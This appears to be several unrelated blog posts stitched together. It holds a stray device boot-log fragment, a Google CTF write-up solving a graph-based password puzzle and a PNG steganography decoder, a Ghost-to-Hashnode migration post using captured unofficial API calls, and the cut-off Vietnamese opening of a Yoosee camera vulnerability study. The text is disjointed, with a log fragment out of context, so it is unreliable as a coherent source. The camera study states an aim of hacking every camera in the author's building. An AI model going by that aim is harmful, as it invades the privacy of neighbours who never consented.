wlan0: CTRL-EVENT-REGDOM-CHANGE init=BEACON_HINT type=UNKNOWN
wlan0: Trying to associate with 10:39:4e:fb:bf:f0 (SSID='<redacted>' freq[    5.851126] RTL871X: rtw_set_802_11_connect(wlan0)  fw_state=0x00000008
=2412 MHz)
[    5.940730] RTL871X: start auth
[    6.288097] RTL871X: auth success, start assoc
[    6.337639] RTL871X: assoc success
wlan0: Associated with 10:39:4e:fb:bf:f0
wlan0: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
[    6.438169] RTL871X: recv eapol packet
[    6.442789] RTL871X: send eapol packet
[    6.462905] RTL871X: recv eapol packet
[    6.537203] RTL871X: send eapol packet
[    6.543331] RTL871X: set pairwise key camid:4, addr:10:39:4e:fb:bf:f0, kid:0, type:AES
wlan0: WPA: Key negotiation completed w[    6.554394] RTL871X: set group key camid:5, addr:10:39:4e:fb:bf:f0, kid:2, type:AES
ith 10:39:4e:fb:bf:f0 [PTK=CCMP GTK=CCMP]
wlan0: CTRL-EVENT-CONNECTED - Connection to 10:39:4e:fb:bf:f0 completed [id=0 id_str=]
udhcpc: sending discover
udhcpc: sending select for 192.168.1.44
udhcpc: lease of 192.168.1.44 obtained, lease time 86400
deleting routers
adding dns 192.168.1.1

And yes, the shell:

This year's Google CTF, while traveling in Danang, I managed to solve 2 misc problems: npc and symatrix. Both seem like algorithm-flavored problems.

Here are the writeups for them:

npc

Problem description

A friend handed me this map and told me that it will lead me to the flag. It is confusing me and I don't know how to read it, can you help me out?

Attachment

Analysis

We got the following 4 files after extracting the problem archive:

• encrypt.py: Main code for encryption

• secret.age: Encrypted data

• hint.dot: Hints for finding the plaintext

• USACONST.TXT: Dictionary

Skim through the flow of encrypt.py, I found the interesting parts that describe:

• Encryption mechanism: Using pyrage.passphrase :

    from pyrage import passphrase
  
    with open(filename, 'wb') as f:
        f.write(passphrase.encrypt(secret, password))
  

• Wordlist generation: Unique normalized words from USACONST.TXT

    def get_word_list():
      with open('USACONST.TXT', encoding='ISO8859') as f:
        text = f.read()
      return list(set(re.sub('[^a-z]', ' ', text.lower()).split()))
  

• Password generation: Random words from word list:

    def generate_password(num_words):
      word_list = get_word_list()
      return ''.join(secrets.choice(word_list) for _ in range(num_words))
  

• Hint generation for hint.dot file:

    def generate_hint(password):
      random = secrets.SystemRandom()
      id_gen = IdGen()
      graph = Graph([],[])
  
      # Step 1: Append original graph edges
      for letter in password:
        graph.nodes.append(Node(letter, id_gen.generate_id()))
  
      # Edges that represent the relationship between 2 consecutive characters
      for a, b in zip(graph.nodes, graph.nodes[1:]):
        graph.edges.append(Edge(a, b))
  
      # Step 2: Add random (and maybe non-existence) edges to confuse us
      for _ in range(int(len(password)**1.3)):
        a, b = random.sample(graph.nodes, 2)
        graph.edges.append(Edge(a, b))
  
      # Step 3: Shuffle the edges, nodes and connections to further confuse us
      random.shuffle(graph.nodes)
      random.shuffle(graph.edges)
      for edge in graph.edges:
        if random.random() % 2:
          edge.a, edge.b = edge.b, edge.a
  
      return graph
  

From the above information, I can already imagine the encryption and hint generation process:

1. Generate word list

2. Generate a password by picking random words from the word list

3. Use the generated password to encrypt the flag and write to secret.age

4. Generate the graph containing the hint from the password and write to hint.dot file

So what is the problem that we need to solve given the following process?

To get the encryption password, we will need to solve process 4 and recover the password from the given obfuscated graph.

It's clear that if they didn't add the random and shuffling part of the code, then we would be dealing with the edges of a degenerated graph.

But after the obfuscation process, here is what we get from hint.dot

graph {
    comment="Nodes"
    1051081353 [label=a];
    66849241 [label=a];
    53342583 [label=n];
    213493562 [label=d];
    4385267 [label=i];
    261138725 [label=o];
    51574206 [label=t];
    565468867 [label=e];
    647082638 [label=r];
    177014844 [label=d];
    894978618 [label=e];
    948544779 [label=n];
    572570465 [label=n];
    582531406 [label=r];
    264939475 [label=a];
    415170621 [label=s];
    532012257 [label=t];
    151901859 [label=v];
    346347468 [label=g];
    148496047 [label=g];
    125615053 [label=s];
    723039811 [label=e];
    962878065 [label=i];
    112993293 [label=w];
    748275487 [label=n];
    120330115 [label=s];
    76544105 [label=c];
    186790608 [label=h];

    comment="Edges"
    53342583 -- 565468867;
    582531406 -- 76544105;
    125615053 -- 120330115;
    264939475 -- 572570465;
    53342583 -- 565468867;
    532012257 -- 264939475;
    346347468 -- 532012257;
    125615053 -- 582531406;
    177014844 -- 120330115;
    264939475 -- 962878065;
    comment="<lots more edges>"
}

You can paste the graph data into graphviz, but the result doesn't look fine:

A thing to note is that if a character appears multiple times in the password, they are treated as different nodes. This will help us to build the password from the graph easier because we will not be confused by unnecessary edges.

For example, a graph that represents the word "abac" using the method above will be like this:

If they don't treat the characters as unique nodes, it will create unnecessary loops like this:

Also because we treated the characters as unique nodes, we knew that the password has 28 characters.

Following the flow of generate_hint function above, if your password is "googlectf", the graph definition would look like this (this is just a demonstration, realistically in the code, the label ids will be randomized so there is no straight way to recover the password):

graph {
    comment="Vertices"
    1 [label=g];
    2 [label=o];
    3 [label=o];
    4 [label=g];
    5 [label=l];
    6 [label=e];
    7 [label=c];
    8 [label=t];
    9 [label=f];

    comment="Edges"
    1 -- 2
    2 -- 3
    3 -- 4
    4 -- 5
    5 -- 6
    6 -- 7
    7 -- 8
    8 -- 9
}

Which visualized to the following:

But after the obfuscation process, it would look kind of this:

And hence after the process, we will lose every of these informations:

• The starting node

• The ordering of nodes (if 2 nodes are connected then which comes first?)

• Which are the real edges?

And the clues that are left:

• This graph contains the connections of all the consecutive characters of the password

• The password has 28 characters

• The password must contain words from the word list

And so, the journey begins

The starting node

I simply try each of the 28 nodes as the starting node

The ordering of nodes

One thing we know is that the text representation of the correct node ordering must exist inside the word list.

Hence we can traverse the graph from the chosen starting node, try each of the ordering possible and check if it matches the word list.

There might be multiple ordering that matches the conditions, so we need to store all of them in an array and then check to see which one correctly decrypt the flag.

Which are the real edges?

Same to the problem of node ordering, the real edges' text representation must exist inside the word list.

Hence we can filter this while checking the ordering.

We also need to filter fake edges that appear in the word list.

Minor word-splitting problem

Since words in the word list were joined without space to form the password, we also need to deal with the problem that one password candidate can be generated from different combinations of words inside the word list.

For example "forever" can be combined from "for" + "ever" or "forever" itself. This case is trivial, but another case that can cause a problem is "generous". It cannot be combined if we choose "gene" + something, but can be combined using the word "generous" itself.

To solve this word-matching problem, I chose the Trie data structure. It provides the ability to conveniently check whether a word exists inside the dictionary. For this particular problem, I optimized it a bit to check where can we jump from the current node of Trie instead of having to repeatedly check the whole word again and again.

Here is my Trie code, generated by ChatGPT

class TrieNode:
    def __init__(self):
        self.children = {}
        self.is_end_of_word = False

class Trie:
    def __init__(self):
        self.root = TrieNode()

    def insert(self, word):
        current = self.root
        for char in word:
            if char not in current.children:
                current.children[char] = TrieNode()
            current = current.children[char]
        current.is_end_of_word = True

    def has_next_node(self, current_node, char):
        return current_node.children[char] if char in current_node.children else False

Let's implement

After getting every puzzle piece in hand, I built my tryToSolve function which is simply a backtracking function to try each possible ordering of nodes and picking out the candidates:

marked = {}

def tryToSolve(u, trieNode = trie.root, len = 28):
    nodeid, char = nodes[u]
    nextNode = trie.has_next_node(trieNode, char)

    res = []

    if not nextNode:
        if trieNode.is_end_of_word:
            return tryToSolve(u, trie.root, len)
        return []

    len -= 1

    marked[nodeid] = True

    # print(u, char)

    if len == 0:
        return [char]

    for v in adj[nodeid]:
        if not v in marked:
            possiblities = tryToSolve(v, nextNode, len)
            for possibility in possiblities:
                res.append(char + possibility)

    del marked[nodeid]

    return res

And of course, I ran the function with each node as the starting one, as described earlier:

for startingNode in nodes.values():
    marked = {}
    for word in tryToSolve(startingNode[0], trie.root, 28):
        print(word)

After execution, I got 6 possible candidates:

┌──(kali㉿kali)-[~/Desktop/npc]
└─$ python3 solve.py                                                                                              130 ⨯
dwatersigngivenchosenstandar
givenstandardsignwaterchosen
signgivenstandardwaterchosen
waterchosenstandardsigngiven
standardwatersigngivenchosen
chosenstandardwatersigngiven

And the rest is easy. I just need to try each one for decryption.

from pyrage import passphrase

encrypted = open('secret.age', 'rb').read()

candidates = open('candidates.txt').readlines()
for pw in candidates:
    try:
        pw = pw.strip()
        print(passphrase.decrypt(encrypted, pw))
    except Exception as e:
        print(e)

┌──(kali㉿kali)-[~/Desktop/npc]
└─$ python3 solve1.py
Decryption failed
Decryption failed
Decryption failed
Decryption failed
b'CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}'
Decryption failed

Flag

CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}

Darn it, we were still the second team to solve it :(

symatrix

Problem description:

The CIA has been tracking a group of hackers who communicate using PNG files embedded with a custom steganography algorithm. An insider spy was able to obtain the encoder, but it is not the original code. You have been tasked with reversing the encoder file and creating a decoder as soon as possible in order to read the most recent PNG file they have sent.

Attachment

Analysis

We got the following 4 files after extracting the problem archive:

• encoder.c: Main code for encoding

• symatrix.png: Encoded data

Upon inspection of encoder.c, I realized that it's a C file compiled from Python code:

I tried to compile it using gcc but it threw lots of errors:

When inspecting further, I found out that there are blocks of original python code left in the compiled source. By further searching, I found 70 of those blocks.

I managed to extract those Python code blocks, but they still look like about 500 lines of a mess:

/* "encoder.py":5
 * import binascii
 * 
 * def hexstr_to_binstr(hexstr):             # <<<<<<<<<<<<<<
 *     n = int(hexstr, 16)
 *     bstr = ''
 */
/* "encoder.py":6
 * 
 * def hexstr_to_binstr(hexstr):
 *     n = int(hexstr, 16)             # <<<<<<<<<<<<<<
 *     bstr = ''
 *     while n > 0:
 */
/* "encoder.py":7
 * def hexstr_to_binstr(hexstr):
 *     n = int(hexstr, 16)
 *     bstr = ''             # <<<<<<<<<<<<<<
 *     while n > 0:
 *         bstr = str(n % 2) + bstr
 */
...

And so I threw them into ChatGPT to see what it can do:

And out of my astonishment, I received the beautifully formatted,

So, what do we need to see?

The encoder's source code

Now we got the encoder source code:

from PIL import Image
from random import randint
import binascii

def hexstr_to_binstr(hexstr):
    n = int(hexstr, 16)
    bstr = ''
    while n > 0:
        bstr = str(n % 2) + bstr
        n = n >> 1
    if len(bstr) % 8 != 0:
        bstr = '0' + bstr
    return bstr

def pixel_bit(b):
    return tuple((0, 1, b))

def embed(t1, t2):
    return tuple((t1[0] + t2[0], t1[1] + t2[1], t1[2] + t2[2]))

def full_pixel(pixel):
    return pixel[1] == 255 or pixel[2] == 255

print("Embedding file...")

bin_data = open("./flag.txt", 'rb').read()
data_to_hide = binascii.hexlify(bin_data).decode('utf-8')

base_image = Image.open("./original.png")
x_len, y_len = base_image.size

nx_len = x_len * 2

new_image = Image.new("RGB", (nx_len, y_len))
base_matrix = base_image.load()
new_matrix = new_image.load()

binary_string = hexstr_to_binstr(data_to_hide)
remaining_bits = len(binary_string)

nx_len = nx_len - 1
next_position = 0

for i in range(0, y_len):
    for j in range(0, x_len):
        pixel = new_matrix[j, i] = base_matrix[j, i]
        if remaining_bits > 0 and next_position <= 0 and not full_pixel(pixel):
            new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[0])), pixel)
            next_position = randint(1, 17)
            binary_string = binary_string[1:]
            remaining_bits -= 1
        else:
            next_position -= 1

new_image.save("./symatrix.png")
new_image.close()
base_image.close()

print("Work done!")
exit(1)

The encoding process

1. The encoder doubled the image width:

    nx_len = x_len * 2
    new_image = Image.new("RGB", (nx_len, y_len))
   

2. It hides one bit of data. The original (r, g, b) code turned into (r, g + 1, b + encrypted_bit). The encrypted pixel lies in the doubled half of the image ([j, i] -> [nx_len - j, i])

    def pixel_bit(b):
        # Encoding formla
        return tuple((0, 1, b))
   
    def embed(t1, t2):
        return tuple((t1[0] + t2[0], t1[1] + t2[1], t1[2] + t2[2]))
   
    def full_pixel(pixel):
        return pixel[1] == 255 or pixel[2] == 255
   
    if remaining_bits > 0 and next_position <= 0 and not full_pixel(pixel):
        new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[0])), pixel)
   

3. It chooses another random position for hiding the next bit:

    next_position = randint(1, 17)
   

Solution

So now we just need to write a simple script to find the encoded bits and get the flag

from PIL import Image

def decode_image(encoded_image_path):
    encoded_image = Image.open(encoded_image_path)
    encoded_matrix = encoded_image.load()

    decoded_data = ""

    x_len, y_len = encoded_image.size
    nx_len = x_len // 2

    for i in range(y_len):
        for j in range(nx_len):
            [r1, g1, b1] = encoded_matrix[j, i]
            [r2, g2, b2] = encoded_matrix[x_len - j - 1, i]

            if r1 == r2 and g1 + 1 == g2 and b2 - b1 <= 1:
                # print((r1, g1, b1))
                # print((r2, g2, b2))
                decoded_data += str(b2 - b1)

    decoded_bytes = bytearray()

    for i in range(0, len(decoded_data), 8):
        byte_str = decoded_data[i:i+8]
        decoded_bytes.append(int(byte_str, 2))

    return decoded_bytes

print(decode_image('./symatrix.png'))

Flag

CTF{W4ke_Up_Ne0+Th1s_I5_Th3_Fl4g!}

GLHF!

Thank you vh++ for hosting a team for Vietnamese

Recently I've been upset about hosted Ghost blogging platform for the following reasons:

• It was too expensive. Last year, I paid $300 for Ghost "Creator" plan just to be able to change the theme of my blog.

• It has no downgrade option. Once I upgraded to the Creator plan I had no option to downgrade to a lower plan. Only upgrade.

• Ghost's font is not compatible with the Vietnamese language. Although I have been able to find a theme that displays fine, the editor's font still sucks. And it seems like I have no way to change it.

  

• But the most important reason that kept me from blogging last year is that somehow Ghost is displaying WRONG images on my post. Here is the comparison of an image in the editor, and the same image in preview mode.

I even tried to publish the post to see if it was just a preview problem, but nope. Here is the image on the published post:

I always wonder why there could be such a ridiculous problem. Image displaying is a crucial function of a blogging platform. So I tried searching around for solutions and it seems this is the most related description to the problem. But yet I see no solution.

Time passed away, but until now the problem stays the same. I decided that enough is enough, and I will try to find a new platform for my blog! (Again).

Why Hashnode?

I have a tech-savvy friend who blogged a lot, one day we were sitting together at a coffee shop. In the new year atmosphere, I challenged him to blog and see who gets viral first.

But what am I missing? A proper blog 🙃. I asked him to give me some suggestions, and so he gave me Hashnode and 11ty.dev.

I looked through and thought that both looks nice. But then what caught my attention is that Hashnode was made for developers, with everything hosted and free. Cool, I can start my own blog in a matter of clicks then, and other developers will start to see my developer-oriented contents 😁. How great!

Another cool thing is that while Hashnode is a markdown blogging platform, it can automatically recognize and convert my HTML content, like this:

But...what are you going to do with the old blog posts?

I left them and started fresh.

Nah, just kidding. I worked so hard to create a tool to migrate all the posts, drafts, tags, and images from my old Ghost blog to my new Hashnode blog, and try to keep everything as it is. To my fellow readers, this is where the journey begins!

Initially, I looked around to see if there is any official API I could use yet and found https://api.hashnode.com/, it's a graphql endpoint and playground. but there isn't any documentation that describes it in a human manner, the docs there are just schemas, queries, and type definitions that we can refer to when making queries.

After searching around for a while I found some blog posts that teach us how to use the endpoint and construct queries the right way. I found this repo from another Vietnamese (phuctm97 - if you ever read this blog, thank you 😄).

The repo has been archived, but when I tested it still works! Using the example code below from the repo I've been able to create new posts.

import run from "./_run";
import findUser from "../find-user";
import createPublicationArticle from "../create-publication-article";

run(async () => {
  const user = await findUser("trekttt");
  const article = await createPublicationArticle(user.publication.id, {
    title: "Article created using hashnode-sdk-js",
    slug: "article-created-using-hashnode-sdk-js",
    contentMarkdown:
      "# [Test] Hashnode SDK JavaScript/TypeScript\n\nThis is a test article, created using hashnode-sdk-js.",
  });
  return article;
});

Now that we have a method to create a new post with title, slug and contentMarkdown. I went to my Ghost blog to export my blog data for testing.

Ghost gave me the ghost-backup.json file:

With the structure like this:

And the post data structure:

With that information in hand, I could start testing with post creation.

Testing post creation

Although I supplied post.html to the contentMarkdown field, Hashnode was able to parse it seamlessly. This is the code I used to test post creation (I already modified the source from the git repo a bit).

import dotenv from "dotenv";
dotenv.config();
import {
  findUser,
  createPublicationArticle,
} from "hashnode-sdk-js";
import sharp from "sharp";

const { HASHNODE_API_KEY, HASHNODE_COOKIE } = process.env;

(async () => {
  const user = await findUser("trekttt");
  let jsonData = JSON.parse(fs.readFileSync("./ghost-backup.json", "utf-8"));
  let postsData = jsonData.db[0].data.posts;
  let postsTags = jsonData.db[0].data.posts_tags;
  let tags_ = jsonData.db[0].data.tags;

  for (let post of postsData) {
    await createPublicationArticle(HASHNODE_API_KEY || "", "<publicationId>", {
      title: post.title,
      slug: post.slug,
      contentMarkdown: post.html
    });
  }
})();

Here is one of the results:

But there is one problem: All the images went missing.

You know what? The images were not included in the backup. This seems like another way to prevent users from moving away off Ghost.

First challenge: Image backup

Look into the post's HTML content, there are references to images that were hosted on the Ghost's server:

Of course I didn't want to point the images to Ghost's server because when I shut down my old blog, all of these will be gone.

This led me to writing a simple Python script that will backup the images to my local machine.

Here I used the post['mobiledoc'] field because it contains all the references to embedded items inside my post.

Images of the same post were arranged in a folder with the post['uuid'] as the name.

I also hashed the image path as md5(imagePath.encode("utf-8")).hexdigest() in order to get rid of slashes inside the filename but still allow easy mapping from the original path.

import json, requests, os
from hashlib import md5

data = open('./ghost-backup.json', encoding='utf-8').read()
jsonData = json.loads(data)
postsData = jsonData['db'][0]['data']['posts']

BLOG_URL = 'https://thao.ghost.io'
IMAGE_DIR = './images'

for post in postsData:
    postId = post['uuid']
    mobileDoc = json.loads(post['mobiledoc'])
    cards = mobileDoc['cards']
    print(postId)
    for card in cards:
        if card[0] == 'image':
            imagePath = card[1]['src']
            imageUrl = imagePath.replace('__GHOST_URL__', BLOG_URL)
            print(imageUrl)
            if not os.path.exists(f'{IMAGE_DIR}/{postId}'):
                os.makedirs(f'{IMAGE_DIR}/{postId}')
            f = open(f'{IMAGE_DIR}/{postId}/{md5(imagePath.encode("utf-8")).hexdigest()}.png', 'wb')
            f.write(requests.get(imageUrl).content)
            f.close()

After running the script, I have a folder structure like this:

Images of a same post lying in the same folder:

Second challenge: Image restore

Now that I have all the images saved to my local machine. Next step is to upload them to the Hashnode server and replace them in my original post's content.

I create a new draft, opened the Network view on Chrome Developer Tools. Try to drag & drop an image into the editor to see what happens. Two interesting requests showed up.

Requests examination

1. A POST request with graphql query to https://gql.hashnode.com/ which generates the URL of the image and provides credentials for us to upload the image to the Amazon S3 server. Request:

   

   Response:

   

2. A POST request to https://s3.amazonaws.com/cloudmate-test which uses the credentials from the first request and send the image as binary data. You can see the form keys that correspond to the data of the first request's response.

   

Now that I understand the requests' specifications, the next step is to implement them. I forked the repo above to https://github.com/t-rekttt/hashnode-sdk-js to add my new implementations.

Looked into the implementation inside base.ts I knew that the author has been using node-fetch it to implement his query.

Original API code using node-fetch

import fetch from "node-fetch";

const apiURL = "https://api.hashnode.com";
const apiKey = process.env.HASHNODE_API_KEY;

/**
 * Hashnode API's returned errors.
 */
export class APIError extends Error {
  readonly errors: any[];

  constructor(errors: any[]) {
    super(`Hashnode API error: ${JSON.stringify(errors, null, 2)}.`);
    this.errors = errors;
  }
}

/**
 * Generic utility to make a Hashnode API's call.
 *
 * @param gql GraphQL query.
 * @param variables Variables expression.
 */
export const query = (gql: string, variables: any) =>
  fetch(apiURL, {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      Accept: "application/json",
      Authorization: apiKey || "",
    },
    body: JSON.stringify({
      query: gql,
      variables,
    }),
  })
    // Parse JSON body.
    .then(async (res) => ({ ok: res.ok, json: await res.json() }))
    // Check for API errors.
    .then((res) => {
      if (!res.ok || res.json.errors) throw new APIError(res.json.errors);
      return res.json;
    });

Initially, I was going to follow his convention and continue using node-fetch to implement the image upload, but that decision made me suffer. Somehow the library was not calculating the Content-Length header automatically which made the server threw errors to my face complaining about me not telling the server about the image size. I tried to fix by calculating the header myself but it mismatched. Overall coping with node-fetch took me about 3-4 hours of desperation without getting anything solved or knowing why it mismatched (the size calculated in the header is much bigger than the image size in bytes).

After that, I decided to switch to a library that was deprecated but much more familiar to me, the request-promise . Suddenly I put the calls in and everything got to work. No more error was given.

Here are my implementations for the 2 requests described above:

Images migration requests implementation

export const queryUnofficial = async (
  gql: string,
  variables: any,
  cookie: string
): Promise<any> => {
  let res = await request(unofficalApiUrl, {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      Accept: "application/json",
      Cookie: cookie,
    },
    body: {
      query: gql,
      variables,
    },
    json: true,
  });
  if (res?.errors) throw new APIError(res?.errors);
  return res;
};

export const uploadImageToAmazon = async (fields: object, imageStream: any) => {
  let res = await request.post(imageUploadApiUrl, {
    formData: {
      ...fields,
      file: {
        value: imageStream,
        options: {
          filename: "image.png",
          contentType: "image/png",
        },
      },
    },
    resolveWithFullResponse: true,
    simple: false,
  });

  if (res.statusCode !== 204) throw new APIError([res.body]);

  return res;
};

Ok, good. Now what I need to do in order to migrate a post with all its images is:

1. Loop through the image paths inside the post using the post['mobiledoc'] field.

2. Get the md5 hash of the image and map it to the local path.

3. Upload (restore) the images to Hashnode's S3 server.

4. Replace the path of the images inside the post's HTML code.

5. Create the post

Images migration function

let migrateImages = async (post: any) => {
  let postHtml = post.html;
  let postId = post.uuid;
  let mobileDoc = JSON.parse(post.mobiledoc);
  let cards = mobileDoc.cards;

  for (let card of cards) {
    if (card[0] == "image") {
      let retries = 0;
      let newImageUrl: string | null = null;
      let imagePath = card[1].src;

      while (retries <= 3) {
        try {
          retries++;

          if (!postHtml.includes(imagePath)) {
            console.log(`Skipped ${imagePath}`);
            break;
          }

          let hash = MD5(imagePath).toString();
          let localImagePath = `./images/${postId}/${hash}.png`;
          try {
            await sharp(localImagePath)
              .png({ quality: 80 })
              .toFile("./images/tmp.png");
          } catch (err) {
            console.log(err);
            break;
          }

          newImageUrl = await uploadImage(
            fs.createReadStream("./images/tmp.png"),
            HASHNODE_COOKIE || ""
          );
          break;
        } catch (error) {
          console.log(error);
        }
      }

      if (!newImageUrl) {
        console.log(`Given up on image ${imagePath}`);
        continue;
      }

      console.log(`Uploaded image ${imagePath}, new url: ${newImageUrl}`);

      postHtml = postHtml.replace(new RegExp(imagePath, "g"), newImageUrl);
    }
  }

  return postHtml;
};

The code looks a bit nested because I added some try-catch with 3 retries in order to make sure my script will not fail because of any stupid HTTP timeout exception.

You might notice this small piece of code inside the function above also, it's for compressing the image to prevent the image from passing S3's image size limit (I think the limit is 5MB):

await sharp(localImagePath)
  .png({ quality: 80 })
  .toFile("./images/tmp.png");

And with the same demo post from above, here is how it looks on my new Hashnode blog:

Third challenge: Draft, tags, backdated time migration - For a tailored experience

Successfully migrated all the posts' content and images, it looks like I've satisfied my original needs in order to get rid of Ghost.

But look into the small details: now all my posts have almost the same published date, drafts were not migrated or turned into published posts (Hashnode has no option to unpublish posts yet), and tags were gone. There is no way anyone who is serious at blogging would consider a half-baked migration like that.

So in order to convince people that I'm seriously blogging 🤣, I decided to try to cover all of those.

It's easier said than done, out of my surprise, almost each of my purpose requires a different API implementation:

• For backdating posts and migrating tags: Update post API.

• For drafts migration with tags and backdated time: Create draft API, update draft API.

The method is identical. I used Chrome Devtools to capture the requests while tweaking some options, to see which leads to what.

And so the examination turned into the implementation below:

HTTP requests implementations

// Update post
export const sendAjaxUpdatePost = (data : PostUpdate, cookie: string) => {
  return request.post(`${ajaxApiUnofficial}/post/update`, {
    body: data,
    json: true,
    headers: {
      Cookie: cookie,
    },
  });
}

// Create & update drafts
export const createDraftUnofficial = async(publicationId : Publication["id"], cookie : string) => {
  let res = await request.get("https://hashnode.com/draft", {
    qs: {
      new: true,
      publicationId,
    },
    headers: {
      Cookie: cookie,
    },
    json: true,
    resolveWithFullResponse: true,
    simple: false,
    followRedirect: false
  });

  if (res.statusCode !== 307)
    throw new APIError(res.body);

  return res.headers['location'];
}

export const updateDraftUnofficial = (data : DraftUpdate, cookie : string) => {
  return request.post("https://hashnode.com/api/draft/save-data", {
    body: data,
    json: true,
    headers: {
      Cookie: cookie
    }
  });
}

Migration functions for posts and drafts

let migratePublishedPost = async (
  publicationId: string,
  post: any,
  tags: any
): Promise<boolean> => {
  let postTitle = post.title;
  let postSlug = post.slug;
  let postCreationTime = post.created_at;
  let postHtml = await migrateImages(post);

  const article = await createPublicationArticle(
    HASHNODE_API_KEY || "",
    publicationId,
    {
      title: postTitle,
      slug: postSlug,
      contentMarkdown: postHtml,
    }
  );
  console.log(`Created article ${postTitle}`);

  await updatePublicationArticleUnofficial(
    {
      post: {
        title: postTitle,
        subtitle: "",
        contentMarkdown: postHtml,
        tags: tags.map((tag: string) => ({
          name: tag,
          slug: tag,
          _id: null,
          logo: null,
        })),
        pollOptions: [],
        type: "story",
        coverImage: "",
        coverImageAttribution: "",
        coverImagePhotographer: "",
        isCoverAttributionHidden: false,
        ogImage: "",
        metaTitle: "",
        metaDescription: "",
        isRepublished: false,
        originalArticleURL: "",
        partOfPublication: true,
        publication: publicationId,
        slug: postSlug,
        slugOverridden: false,
        importedFromMedium: false,
        dateAdded: new Date(postCreationTime).getTime(),
        hasCustomDate: true,
        hasScheduledDate: false,
        isDelisted: false,
        disableComments: false,
        stickCoverToBottom: false,
        enableToc: true,
        isNewsletterActivated: true,
        _id: article.id,
        hasLatex: false,
      },
      draftId: true,
    },
    HASHNODE_COOKIE || ""
  );

  console.log(`Updated article ${postTitle}`);
  return true;
};

let migrateDraft = async (
  user: User,
  post: any,
  tags: any,
  publicationId: Publication["id"] = user.publication.id
) => {
  let postTitle = post.title;
  let postSlug = post.slug;
  let postCreationTime = post.created_at;
  let draftId = await createDraftUnofficial(
    publicationId,
    HASHNODE_COOKIE || ""
  );
  console.log(`Created draft ${draftId}`);

  let postHtml = await migrateImages(post);

  let data = {
    updateData: {
      _id: draftId,
      type: "story",
      contentMarkdown: postHtml,
      title: postTitle,
      subtitle: "",
      slug: postSlug,
      slugOverridden: false,
      tags: tags.map((tag: string) => ({
        name: tag,
        slug: tag,
        _id: null,
        logo: null,
      })),
      coverImage: "",
      coverImageAttribution: "",
      coverImagePhotographer: "",
      isCoverAttributionHidden: false,
      ogImage: "",
      metaTitle: "",
      metaDescription: "",
      originalArticleURL: "",
      isRepublished: false,
      partOfPublication: true,
      publication: publicationId,
      isDelisted: false,
      dateAdded: "",
      importedFromMedium: false,
      dateUpdated: postCreationTime,
      hasCustomDate: false,
      hasScheduledDate: false,
      isActive: true,
      series: null,
      pendingPublicationApproval: false,
      disableComments: false,
      stickCoverToBottom: false,
      enableToc: false,
      publishAs: null,
      isNewsletterActivated: true,
    },
    draftAuthor: user.id,
    draftId: draftId,
    options: {
      merge: true,
    },
  };

  let result = await updateDraftUnofficial(data, HASHNODE_COOKIE || "");
  if (result) console.log(`Updated draft ${draftId}`);
  else console.log(`Update draft ${draftId} failed`);
  return result;
};

Tags mapping

let getTags = (post: any, postsTags: any, tags: any) => {
  let postId = post.id;
  let filteredPostTags = postsTags
    .filter((item: any) => item.post_id == postId)
    .map((item: any) => item.tag_id);
  let filteredTags = tags
    .filter((tag: any) => filteredPostTags.includes(tag.id))
    .map((item: any) => item.name);

  return filteredTags;
};

Source codes

Hashnode API implementation

Ghost migration scripts

Afterword

• If you reached this part of the post, I want to say thank you for reading, your attention is considered big support for me. Hope it would help if you are consider moving from Ghost.

• If you like my post, please consider giving a star 🌟.

• As I'm just started to code using typescript, my code looks crap. Please feel free to open PRs if you are willing to help 🤩.

• Sharing the post would be much appreciated (especially since I'm trying to surpass my friend 🤣).

Credits

• hashnode-sdk-js by phuctm97

• Thumbnail icons resources by pikisuperstar

Chuyện là gần đây mình có thuê một căn chung cư mini. Trong khoảng thời gian ở đó, đôi khi rảnh rỗi mình có nghía qua hệ thống các thiết bị mạng và nhận thấy một vài target thú vị, ví dụ như khoá vân tay, wifi router và camera. Trong đó mình đặc biệt chú ý tới camera vì có vẻ như chỉ có một mẫu camera được dùng cho cả toà nhà này, và tên của nó là Yoosee. Vậy khả năng cao nếu như mình tìm được exploit của mẫu camera này thì sẽ có thể cầm nó đi hack tất cả cam trong toà nhà. Mình quyết định chọn con camera này làm đối tượng nghiên cứu cho con pet project đầu tiên liên quan tới hardware. Một lý do khác khiến mình chọn mục tiêu này là vì nhìn lướt qua thiết bị mình cảm thấy mức độ hoàn thiện của nó không được tốt, có lẽ là một mẫu camera rẻ tiền, điều này khiến mình linh cảm rằng khả năng nó có lỗ hổng cao hơn so với những sản phẩm hoàn thiện tốt và đến từ những hãng có tiếng tăm.

Không như nhiều thiết bị khác với dòng tên rất bé hoặc thậm chí không ghi tên hãng, con camera này có một cái tên được ghi to chình ình ở phía trước của thiết bị, chỉ cần nghía qua là có thể thấy ngay. Điều này giúp ích rất nhiều trong việc xác định mục tiêu mà mình cần tấn công là gì.

Ảnh mạng, chỉ mang tính chất minh hoạ

Tóm tắt (TL;DR)

Bắt đầu từ con số 0, mình và Nguyễn Quốc Trung (@xikhud) đã tìm hiểu và hack thiết bị camera của hãng Yoosee. Khởi đầu từ việc nghiên cứu phần cứng, giao thức debug cho tới dump và nghiên cứu trên firmware. Bọn mình đã tìm thành công 2 lỗ hổng là heap overflow và RTSP unauthenticated stream access & control, các lỗ hổng này tạo ra các kịch bản tấn công cho phép xem video và điều khiển thiết bị không cần đăng nhập cũng như khiến cho thiết bị không thể hoạt động được.

Bài viết trình bày đầy đủ tất cả quá trình và các nhận xét, lựa chọn hướng đi của tác giả, với mục tiêu cung cấp cho người đọc cái nhìn toàn diện nhất về quá trình nghiên cứu cũng như hỗ trợ cho những ai bắt đầu nghiên cứu sản phẩm này trong tương lai có thể sử dụng nghiên cứu này như một cơ sở để khởi đầu.

Tìm hiểu thiết bị, lựa chọn hướng đi

Sau khi có cái tên làm từ khoá, mình lên mạng tìm mua con cam về tháo ra thì thấy nó có 2 board mạch trong đó có board chính chứa SoC (màu xanh) và chip nhớ flash (màu đỏ), ngoài ra còn có một số chân cắm trông rất giống UART debug interface (màu vàng) như sau:

Sau khi đọc một số bài viết về việc nghiên cứu phần cứng thì mình biết rằng hướng mình có thể chọn để nghiên cứu như sau:

• Có shell, backdoor được thiết bị

